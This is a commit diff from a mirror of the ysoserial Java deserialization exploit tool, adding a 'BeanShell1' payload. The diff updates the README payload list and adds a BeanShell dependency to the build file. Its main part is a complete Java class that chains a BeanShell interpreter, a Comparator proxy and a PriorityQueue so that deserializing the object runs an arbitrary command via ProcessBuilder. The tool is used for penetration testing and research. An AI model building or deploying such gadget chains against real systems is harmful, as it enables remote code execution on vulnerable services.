mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
BeanShell exploit
This commit is contained in:
@@ -33,6 +33,7 @@ $ java -jar target/ysoserial-0.0.4-all.jar
|
|||||||
Y SO SERIAL?
|
Y SO SERIAL?
|
||||||
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
|
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
|
||||||
Available payload types:
|
Available payload types:
|
||||||
|
BeanShell1 [org.beanshell:bsh:2.0b5]
|
||||||
CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
|
CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
|
||||||
CommonsCollections1 [commons-collections:commons-collections:3.1]
|
CommonsCollections1 [commons-collections:commons-collections:3.1]
|
||||||
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
|
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
|
||||||
|
|||||||
@@ -101,6 +101,11 @@
|
|||||||
<artifactId>commons-collections</artifactId>
|
<artifactId>commons-collections</artifactId>
|
||||||
<version>3.1</version>
|
<version>3.1</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.beanshell</groupId>
|
||||||
|
<artifactId>bsh</artifactId>
|
||||||
|
<version>2.0b5</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>commons-beanutils</groupId>
|
<groupId>commons-beanutils</groupId>
|
||||||
<artifactId>commons-beanutils</artifactId>
|
<artifactId>commons-beanutils</artifactId>
|
||||||
|
|||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import bsh.Interpreter;
|
||||||
|
import bsh.XThis;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
|
@Dependencies({ "org.beanshell:bsh:2.0b5" })
|
||||||
|
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
|
// BeanShell payload
|
||||||
|
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
|
||||||
|
|
||||||
|
// Create Interpreter
|
||||||
|
Interpreter i = new Interpreter();
|
||||||
|
|
||||||
|
// Evaluate payload
|
||||||
|
i.eval(payload);
|
||||||
|
|
||||||
|
// Create InvocationHandler
|
||||||
|
XThis xt = new XThis(i.getNameSpace(), i);
|
||||||
|
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||||
|
|
||||||
|
// Create Comparator Proxy
|
||||||
|
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||||
|
|
||||||
|
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
|
||||||
|
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
Object[] queue = new Object[] {1,1};
|
||||||
|
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||||
|
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||||
|
|
||||||
|
return priorityQueue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(BeanShell1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user